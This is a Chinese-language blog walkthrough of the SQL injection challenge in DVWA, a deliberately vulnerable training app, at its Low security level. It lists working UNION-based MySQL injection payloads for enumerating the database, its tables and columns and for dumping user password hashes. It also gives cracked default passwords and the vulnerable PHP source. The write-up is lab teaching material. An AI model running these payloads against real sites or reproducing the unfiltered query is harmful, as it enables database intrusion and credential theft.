DVWA——SQL Injection通关记录(Low)

it2024-01-20  71

Security Level:Low

1.判断注入点及注入类型

看到的是一个输入框,输入数字有对应返回值

 所以这里应该是一个注入点,使用恒真恒假式来尝试一下

输入

1' and '1'='2

返回无结果,确定此处为注入点

再用恒真式来显示所有结果

输入

1' or '1'='1

('1'='1'恒真,中间使用or连接则整个查询式子恒真,即可返回所有查询结果)

2.判断数据库中的字段数

根据数据库的知识可以知道数据库对结果的排序语句为order by XXX

XXX为字段名称,第几列之类的

此处查询语句

1' or 1=1 order by 1#

(后面的1=1不需要单引号是因为我们增加了注释符号#,于是后面的语句都被注释掉了,则原函数尾部的单引号就不需要被闭合了)

查询结果如下

可以看出是根据First name的字母排序的,那此处有两个回显点,就是一下order by 2

查询语句

1' or 1=1 order by 2#

查询结果如下:

可以看出是根据Surname的字母排序的

再看有无第三个字段,查询

1' or 1=1 order by 3#

由此可知一共只有两个字段,即First name 和Surname

还可以使用联合查询的方式来猜解字段数

查询语句

'union select 1,2#

回显了字段数以及他们回显的位置,字段1回显于First name,字段2回显于Surname

3.获取数据库名称

由上一步知道了两个回显点,那我们就让这两个回显点显示出我们想要获取的信息,比如用户名和数据库名,使用联合查询,查询语句如下

'union select user(),database()#

数据库名称dvwa

4.获取数据库中表的名称

与获取数据库名称方式相似,都是使用联合查询

查询语句

'union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

或查询语句

'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

下面来解释一下这个语句

首先,因为搭建DVWA环境使用的是Apache和MySQL数据库,所以有关SQL注入都是默认MySQL数据库的注入

在MySQL数据库中有一个系统默认的数据库叫做 information_schema,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

在information_schema数据库中有三个很重要的表,分别是

information_schema.schemata:  存储了mysql数据库中的所有数据库的库名information_schema.tables:     存储了mysql数据库中的所有数据表的表名information_schema.columns:    存储了mysql数据库中的所有列的列名

此处使用的是information_schema.tables,因为我们这一步就是在查询表名,然后结合上一步查询到的数据库名,table_schema表示的是数据库名称,条件语句where table_schema='dvwa'

然后还使用了函数group_concat(table_name),意思是将查询到的table_name连在一起,默认用逗号分隔

更多参数解释详见文章查询语句参数详解

所以查询出了两个表,guestbook和users

5.获取表中字段名

查询语句

'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

方法和查询表名相同

查询到了字段名user和password这两个很关键的字段

6.尝试获取user和password字段信息

查询语句

'union select user,password from users#

获取信息成功

7.密码解密

很明显密码是加密存储的,根据格式,密码口令为32位,因此可能会md5哈希值,根据在线解密网站进行解密,得到口令明文如下

5f4dcc3b5aa765d61d8327deb882cf99——password

e99a18c428cb38d5f260853678922e03——abc123 8d3533d75ae2c3966d7e0d4fcc69216b——charley 0d107d09f5bbe40cade3de5c71e9e9b7——letmein 5f4dcc3b5aa765d61d8327deb882cf99——password

至此所有信息已知,攻击者可以登陆后台进行后续操作

8.源码分析

点击右下角View Source

SQL Injection Source vulnerabilities/sqli/source/low.php <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>

由语句$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";可以明显看出网页对于输入的id没有进行任何过滤操作,此处攻击者可以构造SQL注入语句进行攻击。

 

 

 

 

最新回复(0)